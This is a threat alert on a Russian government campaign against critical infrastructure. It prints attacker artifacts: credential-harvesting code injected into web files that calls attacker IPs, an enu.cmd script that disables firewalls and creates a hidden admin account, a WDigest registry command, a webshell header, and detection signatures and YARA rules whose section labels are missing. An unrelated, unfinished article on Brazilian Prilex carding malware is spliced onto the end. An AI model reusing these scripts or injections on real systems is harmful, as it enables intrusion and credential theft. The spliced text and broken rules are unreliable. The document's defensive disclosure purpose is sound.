TA18-074A: Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors

Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.

Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]

This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”

Technical Details

The threat actors in this campaign employed a variety of TTPs, including

  • spear-phishing emails (from compromised legitimate account),
  • watering-hole domains,
  • credential gathering,
  • open-source and network reconnaissance,
  • host-based exploitation, and
  • targeting industrial control system (ICS) infrastructure.

Using Cyber Kill Chain for Analysis

DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.

Stage 1: Reconnaissance

The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.

Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.

Stage 2: Weaponization

Spear-Phishing Email TTPs

Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. (An example of this request is: file[:]//<remote IP address>/Normal.dotm). As a part of the standard processes executed by Microsoft Word, this request authenticates the client with the server, sending the user’s credential hash to the remote server before retrieving the requested file. (Note: transfer of credentials can occur even if the file is not retrieved.) After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication. [2]

Use of Watering Hole Domains

One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.

<img src=”file[:]//62.8.193[.]206/main_logo.png” style=”height: 1px; width: 1px;” />

In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:

var i = document.createElement(“img”);

i.src = “file[:]//184.154.150[.]66/ame_icon.png”;

i.width = 3;


Stage 3: Delivery

When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled “document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)

In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.

Stage 4: Exploitation

The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.

When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1]

Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.

Establishing Local Accounts

The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.

Contents of symantec_help.jsp


<% Runtime.getRuntime().exec(“cmd /C \”” + System.getProperty(“user.dir”) + “\\..\\webapps\\ROOT\\<enu.cmd>\””); %>


The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.

Contents of enu.cmd


netsh firewall set opmode disable

netsh advfirewall set allprofiles state off

reg add “HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List” /v 3389:TCP /t REG_SZ /d “3389:TCP:*:Enabled:Remote Desktop” /f

reg add “HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List” /v 3389:TCP /t REG_SZ /d “3389:TCP:*:Enabled:Remote Desktop” /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core” /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f

reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services” /v MaxInstanceCount /t REG_DWORD /d 100 /f

net user MS_BACKUP <Redacted_Password> /add

net localgroup Administrators /add MS_BACKUP

net localgroup Administradores /add MS_BACKUP

net localgroup Amministratori /add MS_BACKUP

net localgroup Administratoren /add MS_BACKUP

net localgroup Administrateurs /add MS_BACKUP

net localgroup “Remote Desktop Users” /add MS_BACKUP

net user MS_BACKUP /expires:never

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v MS_BACKUP /t REG_DWORD /d 0 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

sc config termservice start= auto

net start termservice


DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:

Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: Account 3 was created within the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.

Scheduled Task

In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.

VPN Software

After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.

Password Cracking Tools

Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\.


Once inside of an intended target’s network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

  • The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
  • The files were renamed to new extensions, with INST.txt being renamed INST.exe.
  • The files were executed on the host and then immediately deleted.
  • The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.
  • The registry value “ntdll” was added to the “HKEY_USERS\<USER SID>\Software\Microsoft\Windows\CurrentVersion\Run” key.

Persistence Through .LNK File Manipulation

The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.

Four of the observed LNK files were “SETROUTE.lnk”, “notepad.exe.lnk”, “Document.lnk” and “desktop.ini.lnk”. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:

Parsed content of one of the LNK files

Parsed output for file: desktop.ini.lnk

Registry Modification

The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.

reg add “HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest” /v UseLogonCredential /t REG_DWORD /d 1 /f

Stage 6: Command and Control

The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the “public string Password” field.

Beginning Contents of the Web Shell


<%@ Page Language=”C#” Debug=”true” trace=”false” validateRequest=”false” EnableViewStateMac=”false” EnableViewState=”true”%>

<%@ import Namespace=”System”%>

<%@ import Namespace=”System.IO”%>

<%@ import Namespace=”System.Diagnostics”%>

<%@ import Namespace=”System.Data”%>

<%@ import Namespace=”System.Management”%>

<%@ import Namespace=”System.Data.OleDb”%>

<%@ import Namespace=”Microsoft.Win32″%>

<%@ import Namespace=”System.Net.Sockets” %>

<%@ import Namespace=”System.Net” %>

<%@ import Namespace=”System.Runtime.InteropServices”%>

<%@ import Namespace=”System.DirectoryServices”%>

<%@ import Namespace=”System.ServiceProcess”%>

<%@ import Namespace=”System.Text.RegularExpressions”%>

<%@ Import Namespace=”System.Threading”%>

<%@ Import Namespace=”System.Data.SqlClient”%>

<%@ import Namespace=”Microsoft.VisualBasic”%>

<%@ Import Namespace=”System.IO.Compression” %>

<%@ Assembly Name=”System.DirectoryServices,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”System.Management,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”System.ServiceProcess,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A”%>

<%@ Assembly Name=”Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a”%>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>

<script runat = “server”>

public string Password = “<REDACTED>”;

public string z_progname = “z_WebShell”;


Stage 7: Actions on Objectives

DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.

Internal Reconnaissance

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim’s network.

Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:

  • admins.txt
  • completed_dclist.txt
  • completed_trusts.txt
  • completed_zone.txt
  • comps.txt
  • conditional_forwarders.txt
  • domain_zone.txt
  • enum_zones.txt
  • users.txt

The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip”.

The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.

In at least two instances, the threat actors used batch scripts labeled “pss.bat” and “psc.bat” to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to “ps.exe”.

  1. The batch script (“pss.bat” or “psc.bat”) is executed with domain administrator credentials.
  2. The directory “out” is created in the user’s %AppData% folder.
  3. PsExec is used to execute “scr.exe” across the network and to collect screenshots of systems in “ip.txt”.
  4. The screenshot’s filename is labeled based on the computer name of the host and stored in the target’s C:\Windows\Temp directory with a “.jpg” extension.
  5. The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed.
  6. In one instance, DHS observed an “out.zip” file created.

DHS observed the threat actors create and modify a text document labeled “ip.txt” which is believed to have contained a list of host information. The threat actors used “ip.txt” as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents “res.txt” and “err.txt” were observed being created as a result of the batch scripts being executed. In one instance, “res.txt” contained output from the Windows’ command “query user” across the network.

Using <Username> <Password>
Running -s cmd /c query user on <Hostname1>
Running -s cmd /c query user on <Hostname2>
Running -s cmd /c query user on <Hostname3>
<user1>                                              2       Disc       1+19:34         6/27/2017 12:35 PM

An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network.

In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with “scr.exe”. In two instances, the scheduled tasks were designed to run the command “C:\Windows\Temp\scr.exe” with the argument “C:\Windows\Temp\scr.jpg”. In another instance, the scheduled task was designed to run with the argument “pss.bat” from the local administrator’s “AppData\Local\Microsoft\” folder.

The threat actors commonly executed files out of various directories within the user’s AppData or Downloads folder. Some common directory names were

  • Chromex64,
  • Microsoft_Corporation,
  • NT,
  • Office365,
  • Temp, and
  • Update.

Targeting of ICS and SCADA Infrastructure

In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.

This image depicts a reconstructed screenshot of a Human Machine Interface (HMI) system that was accessed by the threat actor. This image demonstrates the threat actor's focus and interest in Industrial Control System (ICS) environments.

Cleanup and Cover Tracks

In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.

Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as “scr.exe”.

Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.

Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.

Network Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/aspnet_client/system_web/4_0_30319/update/’ (Beacon)”; sid:42000000; rev:1; flow:established,to_server; content:”/aspnet_client/system_web/4_0_30319/update/”; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/img/bson021.dat'”; sid:42000001; rev:1; flow:established,to_server; content:”/img/bson021.dat”; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI contains ‘/A56WY’ (Callback)”; sid:42000002; rev:1; flow:established,to_server; content:”/A56WY”; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)


alert tcp any any -> any 445 (msg:”SMB Client Request contains ‘AME_ICON.PNG’ (SMB credential harvesting)”; sid:42000003; rev:1; flow:established,to_server; content:”|FF|SMB|75 00 00 00 00|”; offset:4; depth:9; content:”|08 00 01 00|”; distance:3; content:”|00 5c 5c|”; distance:2; within:3; content:”|5c|AME_ICON.PNG”; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP URI OPTIONS contains ‘/ame_icon.png’ (SMB credential harvesting)”; sid:42000004; rev:1; flow:established,to_server; content:”/ame_icon.png”; http_uri; fast_pattern:only; content:”OPTIONS”; nocase; http_method; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”HTTP Client Header contains ‘User-Agent|3a 20|Go-http-client/1.1′”; sid:42000005; rev:1; flow:established,to_server; content:”User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip”; http_header; fast_pattern:only; pcre:”/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U”; classtype:bad-unknown; metadata:service http;)


alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:”SMB Server Traffic contains NTLM-Authenticated SMBv1 Session”; sid:42000006; rev:1; flow:established,to_client; content:”|ff 53 4d 42 72 00 00 00 00 80|”; fast_pattern:only; content:”|05 00|”; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)

YARA Rules

This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.


rule APT_malware_1



            description = “inveigh pen testing tools & related artifacts”

            author = “DHS | NCCIC Code Analysis Team”    

            date = “2017/07/17”

            hash0 = “61C909D2F625223DB2FB858BBDF42A76”

            hash1 = “A07AA521E7CAFB360294E56969EDA5D6”

            hash2 = “BA756DD64C1147515BA2298B6A760260”

            hash3 = “8943E71A8C73B5E343AA9D2E19002373”

            hash4 = “04738CA02F59A5CD394998A99FCD9613”

            hash5 = “038A97B4E2F37F34B255F0643E49FC9D”

            hash6 = “65A1A73253F04354886F375B59550B46”

            hash7 = “AA905A3508D9309A93AD5C0EC26EBC9B”

            hash8 = “5DBEF7BDDAF50624E840CCBCE2816594”

            hash9 = “722154A36F32BA10E98020A8AD758A7A”

            hash10 = “4595DBE00A538DF127E0079294C87DA0”


            $s0 = “file://”

            $s1 = “/ame_icon.png”

            $s2 = “”

            $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }

            $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }

            $s5 = “(g.charCodeAt(c)^l[(l[b]+l[e])%256])”

            $s6 = “for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)”

            $s7 = “VXNESWJfSjY3grKEkEkRuZeSvkE=”

            $s8 = “NlZzSZk=”

            $s9 = “WlJTb1q5kaxqZaRnser3sw==”

            $s10 = “for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)”

            $s11 = “fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])”

            $s12 = “ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat”

            $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }

            $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }

            $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }

//inveigh pentesting tools

            $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }

//specific malicious word document PK archive

            $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }

            $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }

            $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

            $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s22 = “”

            $s23 = “”

            $s24 = “/1/ree_stat/p”

            $s25 = “/icon.png”

            $s26 = “/pshare1/icon”

            $s27 = “/notepad.png”

            $s28 = “/pic.png”

            $s29 = “http://bit.ly/2m0x8IH”


            ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)


rule APT_malware_2



      description = “rule detects malware”

      author = “other”


      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

      $http_push = “X-mode: push” nocase

      $http_pop = “X-mode: pop” nocase


      any of them


rule Query_XML_Code_MAL_DOC_PT_2



     name= “Query_XML_Code_MAL_DOC_PT_2”

     author = “other”


            $zip_magic = { 50 4b 03 04 }

            $dir1 = “word/_rels/settings.xml.rels”

            $bytes = {8c 90 cd 4e eb 30 10 85 d7}


            $zip_magic at 0 and $dir1 and $bytes


rule Query_Javascript_Decode_Function



      name= “Query_Javascript_Decode_Function”

      author = “other”


      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}

      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}

      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}

      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}



      filesize < 20KB and #func_call > 20 and all of ($decode*)


rule Query_XML_Code_MAL_DOC



      name= “Query_XML_Code_MAL_DOC”

      author = “other”


      $zip_magic = { 50 4b 03 04 }

      $dir = “word/_rels/” ascii

      $dir2 = “word/theme/theme1.xml” ascii

      $style = “word/styles.xml” ascii


      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd


rule z_webshell



            description = “Detection for the z_webshell”

            author = “DHS NCCIC Hunt and Incident Response Team”

            date = “2018/01/25”

            md5 =  “2C9095C965A55EFC46E16B86F9B7D6C6”


            $aspx_identifier1 = “<%@ ” nocase ascii wide

            $aspx_identifier2 = “<asp:” nocase ascii wide

            $script_import = /(import|assembly) Name(space)?\=\”(System|Microsoft)/ nocase ascii wide

            $case_string = /case \”z_(dir|file|FM|sql)_/ nocase ascii wide

            $webshell_name = “public string z_progname =” nocase ascii wide

            $webshell_password = “public string Password =” nocase ascii wide


            1 of ($aspx_identifier*)

            and #script_import > 10

            and #case_string > 7

            and 2 of ($webshell_*)

            and filesize < 100KB


Goodfellas, the Brazilian carding scene is after you

There are three ways of doing things in the malware business: the right way, the wrong way and the way Brazilians do it. From the early beginnings, using skimmers on ATMs, compromising point of sales systems, or even modifying the hardware of processing devices, Latin America has been a fertile ground for collecting credit and debit cards en masse.

Brazil started the migration to EMV cards in 1999 and nowadays almost all cards issued in the country are chip-enabled. A small Java-based application lives inside this chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most (if not all) point of sale systems. Having this knowledge has enabled the criminals to update their activities, allowing them to create their own cards featuring this new technology and keeping them “in the business.”

Enter the world of Brazilian malware development, incorporating every trick in the book and adding a custom made malware that can easily collect data from chip and PIN protected cards; all while offering a nicely designed interface for administering the ill-gotten information, validating numbers, and offering their “customers” an easy to use package to burn their cloned card.

“Seu cartão vou clonar”: not only a crime but a lifestyle

According to the 2016 Global Consumer Card Fraud: Where Card Fraud Is Coming From, “At this point in time, the assumption should be that almost all users’ credentials and/or card information has been compromised. The underground economy for user information has matured so much that it is indistinguishable from a legitimate economy.”

In addition, when we are faced with the current credit card fraud statistics, we found that in 2016, Mexico was in the lead with 56% of residents reporting experiencing card fraud in the past five years. Brazil comes in second at 49%, and the U.S. in third with 47%. It’s worth noting that approximately 65% of the time, credit card fraud results in a direct or indirect financial loss for the victim, with an average reported loss of $1,343 USD.

While traditional criminal activities in Brazil regarding computer crime have included banking trojans, boletos, and all sorts of different malware, cloning credit and debit cards for a living is more than a day job for some. With MCs rapping about the hardships of obtaining new plastic, and how easy the money starts flowing once they get in the game, there’s no shortage of options being offered for infecting ATMs, point of sales systems, or directly stealing credit card numbers from the users.

One of the many Youtube channels sharing tutorials and real life stories on being a Brazilian carder.

There are tutorials, forums, instant message groups, anything and everything as accessible as ever; making this industry a growing threat for all Brazilians. When it comes to Prilex, we are dealing with a complete malware suite that gives the criminal full support in their operations, all with a nicely done graphical user interface and templates for creating different credit card structures, being a criminal-to-criminal business. While cloning chip and PIN protected cards has already been discussed in the past, we found Prilex and its business model something worth sharing with the community; as these attacks are becoming easier to perform and the EMV standard hasn’t been able to keep up with the bad guys.

Anything they wanted was an ATM infection away

The first notable appearance of the Prilex group was related to an ATM attack targeting banks located primarily in the Brazilian territory. Back then, criminals used a black box device configured with a 4G USB modem in order to remotely control the machine. By opening a backdoor to the attacker, they could hijack the institution’s wireless connection and target other ATMs at their will.

At the time, the malware that was used to dispense money at will, was developed using Visual Basic version 6.0; a reasonably old programming language that is still heavily used by Brazilian criminals. The sample was using a network protocol tailored specifically to communicate to its C2 allowing the attacker to remotely dig deeper in the ATM system and collect all the necessary information in order to perform further attacks.

After obtaining initial access to the network, the attacker would run a network recognition process to find the IP address of each of the ATMs. With that information at hand, a lateral movement phase would begin, using default Windows credentials and then installing a custom crafted malware on the most promising systems. The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and sending remote commands to dispense the money.

ATM version of Prilex patching legitimate software for jackpotting purposes.

